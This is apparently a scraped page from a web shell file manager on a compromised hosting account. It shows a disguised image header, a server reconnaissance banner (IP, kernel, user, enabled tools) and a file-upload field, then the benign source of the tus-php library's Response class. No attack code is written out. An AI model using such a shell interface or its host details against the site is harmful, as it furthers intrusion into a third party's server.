����JFIF��x�x����'
Server IP : 66.29.137.217 / Your IP : 3.144.85.96 Web Server : LiteSpeed System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : gltevjme ( 1095) PHP Version : 7.0.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/gltevjme/bofirmacademy.com/vendor/ankitpokhrel/tus-php/src/ |
Upload File : |
<?php namespace TusPhp; use Symfony\Component\HttpFoundation\ResponseHeaderBag; use Symfony\Component\HttpFoundation\BinaryFileResponse; use Symfony\Component\HttpFoundation\Request as HttpRequest; use Symfony\Component\HttpFoundation\Response as HttpResponse; class Response { /** @var HttpResponse */ protected $response; /** @var bool */ protected $createOnly = true; /** @var array */ protected $headers = []; /** * Set create only. * * @param bool $state * * @return self */ public function createOnly(bool $state): self { $this->createOnly = $state; return $this; } /** * Set headers. * * @param array $headers * * @return Response */ public function setHeaders(array $headers): self { $this->headers += $headers; return $this; } /** * Replace headers. * * @param array $headers * * @return Response */ public function replaceHeaders(array $headers): self { $this->headers = $headers; return $this; } /** * Get global headers. * * @return array */ public function getHeaders(): array { return $this->headers; } /** * Get create only. * * @return bool */ public function getCreateOnly(): bool { return $this->createOnly; } /** * Create and send a response. * * @param mixed $content Response data. * @param int $status Http status code. * @param array $headers Headers. * * @return HttpResponse */ public function send($content, int $status = HttpResponse::HTTP_OK, array $headers = []): HttpResponse { $headers = array_merge($this->headers, $headers); if (\is_array($content)) { $content = json_encode($content); } $response = new HttpResponse($content, $status, $headers); return $this->createOnly ? $response : $response->send(); } /** * Create a new file download response. * * @param \SplFileInfo|string $file * @param string|null $name * @param array $headers * @param string|null $disposition * * @return BinaryFileResponse */ public function download( $file, string $name = null, array $headers = [], string $disposition = ResponseHeaderBag::DISPOSITION_ATTACHMENT ): BinaryFileResponse { $response = new BinaryFileResponse($file, HttpResponse::HTTP_OK, $headers, true, $disposition); $response->prepare(HttpRequest::createFromGlobals()); if ($name !== null) { $response = $response->setContentDisposition( $disposition, $name ); } return $this->createOnly ? $response : $response->send(); } }